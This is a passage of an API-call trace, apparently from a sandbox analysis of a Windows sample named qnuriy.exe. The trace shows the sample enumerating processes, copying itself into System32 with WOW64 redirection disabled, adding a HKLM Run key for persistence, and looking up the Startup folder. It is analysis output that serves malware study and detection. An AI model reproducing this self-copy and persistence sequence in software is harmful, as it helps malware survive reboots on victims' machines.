cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0191.264] lstrlenW (lpString="audiodg.exe") returned 11 [0191.264] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.265] lstrlenW (lpString="svchost.exe") returned 11 [0191.265] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.265] lstrlenW (lpString="svchost.exe") returned 11 [0191.265] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0191.266] lstrlenW (lpString="dwm.exe") returned 7 [0191.266] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0191.267] lstrlenW (lpString="explorer.exe") returned 12 [0191.267] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0191.267] lstrlenW (lpString="spoolsv.exe") returned 11 [0191.268] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0191.268] lstrlenW (lpString="taskhost.exe") returned 12 [0191.268] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.269] lstrlenW (lpString="svchost.exe") returned 11 [0191.269] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0191.270] lstrlenW (lpString="taskeng.exe") returned 11 [0191.270] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0191.270] lstrlenW (lpString="taskhost.exe") returned 12 [0191.271] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0191.271] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0191.271] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0191.272] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0191.272] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0191.273] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0191.273] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0191.274] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0191.274] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0191.274] lstrlenW (lpString="always_winds.exe") returned 16 [0191.274] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0191.275] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0191.275] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0191.276] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0191.276] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0191.277] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0191.277] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0191.278] lstrlenW (lpString="alienwed.exe") returned 12 [0191.278] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0191.278] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0191.278] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0191.279] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0191.279] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0191.280] lstrlenW (lpString="mp beginners.exe") returned 16 [0191.280] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0191.281] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0191.281] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0191.281] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0191.282] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0191.282] lstrlenW (lpString="harassment.exe") returned 14 [0191.282] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0191.283] lstrlenW (lpString="francis-communication.exe") returned 25 [0191.283] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0191.284] lstrlenW (lpString="gccinformational.exe") returned 20 [0191.284] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0191.284] lstrlenW (lpString="diploma.exe") returned 11 [0191.285] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0191.285] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0191.285] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0191.286] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0191.286] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.287] lstrlenW (lpString="svchost.exe") returned 11 [0191.287] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0191.287] lstrlenW (lpString="sppsvc.exe") returned 10 [0191.288] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.288] lstrlenW (lpString="svchost.exe") returned 11 [0191.288] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0191.289] lstrlenW (lpString="dllhost.exe") returned 11 [0191.289] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0191.290] lstrlenW (lpString="dllhost.exe") returned 11 [0191.290] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0191.290] lstrlenW (lpString="qnuriy.exe") returned 10 [0191.292] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 0 [0191.292] CloseHandle (hObject=0xe0) returned 1 [0191.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525268 | out: hHeap=0x4f0000) returned 1 [0191.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5252b0 | out: hHeap=0x4f0000) returned 1 [0191.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5252f8 | out: hHeap=0x4f0000) returned 1 [0191.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525318 | out: hHeap=0x4f0000) returned 1 [0191.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525360 | out: hHeap=0x4f0000) returned 1 [0191.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x524a00 | out: hHeap=0x4f0000) returned 1 [0191.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504718 | out: hHeap=0x4f0000) returned 1 [0191.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504750 | out: hHeap=0x4f0000) returned 1 [0191.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504348 | out: hHeap=0x4f0000) returned 1 [0191.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504370 | out: hHeap=0x4f0000) returned 1 [0191.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504798 | out: hHeap=0x4f0000) returned 1 [0191.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504398 | out: hHeap=0x4f0000) returned 1 [0191.293] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x52b590 [0191.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x53b598 [0191.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a00 [0191.294] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a00, Size=0x20) returned 0x504398 [0191.294] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504398, Size=0x40) returned 0x5269a8 [0191.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a00 [0191.294] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a00, Size=0x20) returned 0x504398 [0191.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a00 [0191.294] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a00, Size=0x20) returned 0x504370 [0191.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a00 [0191.294] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a00, Size=0x20) returned 0x504348 [0191.294] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504348, Size=0x40) returned 0x5269f0 [0191.294] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x53b598, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qnuriy.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qnuriy.exe")) returned 0x30 [0191.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x54b5a0 [0191.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x55b5a8 [0191.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a00 [0191.295] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a00, Size=0x20) returned 0x504348 [0191.295] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504348, Size=0x40) returned 0x526a38 [0191.295] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526a38, Size=0x80) returned 0x525268 [0191.295] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525268, Size=0x100) returned 0x527bb0 [0191.295] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0191.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527bb0 | out: hHeap=0x4f0000) returned 1 [0191.295] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\qnuriy.exe", lpDst=0x54b5a0, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\qnuriy.exe") returned 0x1f [0191.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55b5a8 | out: hHeap=0x4f0000) returned 1 [0191.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54b5a0 | out: hHeap=0x4f0000) returned 1 [0191.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x21a0020 [0191.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a00 [0191.295] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a00, Size=0x20) returned 0x504348 [0191.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a00 [0191.295] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a00, Size=0x20) returned 0x525930 [0191.296] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0191.296] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0191.296] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0191.296] lstrlenW (lpString="kernel32.dll") returned 12 [0191.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504348 | out: hHeap=0x4f0000) returned 1 [0191.296] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0191.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525930 | out: hHeap=0x4f0000) returned 1 [0191.296] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qnuriy.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qnuriy.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0191.296] CreateFileW (lpFileName="C:\\Windows\\System32\\qnuriy.exe" (normalized: "c:\\windows\\system32\\qnuriy.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0191.297] ReadFile (in: hFile=0xe0, lpBuffer=0x21a0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x21a0020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0191.304] WriteFile (in: hFile=0xe4, lpBuffer=0x21a0020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x21a0020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0191.309] ReadFile (in: hFile=0xe0, lpBuffer=0x21a0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x21a0020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0191.309] CloseHandle (hObject=0xe4) returned 1 [0191.319] CloseHandle (hObject=0xe0) returned 1 [0191.319] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a00 [0191.319] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a00, Size=0x20) returned 0x525930 [0191.319] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a00 [0191.319] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a00, Size=0x20) returned 0x5258e0 [0191.319] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0191.319] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0191.319] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0191.319] lstrlenW (lpString="kernel32.dll") returned 12 [0191.319] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5258e0 | out: hHeap=0x4f0000) returned 1 [0191.319] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0191.319] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525930 | out: hHeap=0x4f0000) returned 1 [0191.319] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x21a0020 | out: hHeap=0x4f0000) returned 1 [0191.329] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a00 [0191.329] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a00, Size=0x20) returned 0x525930 [0191.329] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525930, Size=0x40) returned 0x526a38 [0191.329] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526a38, Size=0x80) returned 0x54b5b8 [0191.329] lstrlenW (lpString="C:\\Windows\\System32\\qnuriy.exe") returned 30 [0191.329] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0191.329] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x525268 [0191.329] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0191.329] RegSetValueExW (in: hKey=0xe0, lpValueName="qnuriy.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\qnuriy.exe", cbData=0x3c | out: lpData="C:\\Windows\\System32\\qnuriy.exe") returned 0x0 [0191.330] RegCloseKey (hKey=0xe0) returned 0x0 [0191.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525268 | out: hHeap=0x4f0000) returned 1 [0191.330] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0191.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54b5b8 | out: hHeap=0x4f0000) returned 1 [0191.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x54d5a0 [0191.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x55d5a8 [0191.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a00 [0191.330] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a00, Size=0x20) returned 0x525930 [0191.330] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525930, Size=0x40) returned 0x526a38 [0191.330] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526a38, Size=0x80) returned 0x54b5b8 [0191.330] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54b5b8, Size=0x100) returned 0x527bb0 [0191.330] lstrlenW (lpString="") returned 0 [0191.330] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0191.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x527cb8 [0191.330] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe0) returned 0x0 [0191.330] RegQueryValueExW (in: hKey=0xe0, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x55d5a8, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x55d5a8*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0191.330] RegCloseKey (hKey=0xe0) returned 0x0 [0191.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527cb8 | out: hHeap=0x4f0000) returned 1 [0191.331] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0191.331] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x527cb8 [0191.331] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0191.331] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x55d5a8, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0191.331] RegCloseKey (hKey=0xe4) returned 0x0 [0191.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527cb8 | out: hHeap=0x4f0000) returned 1 [0191.334] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0191.334] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0191.334] HeapFree (in: 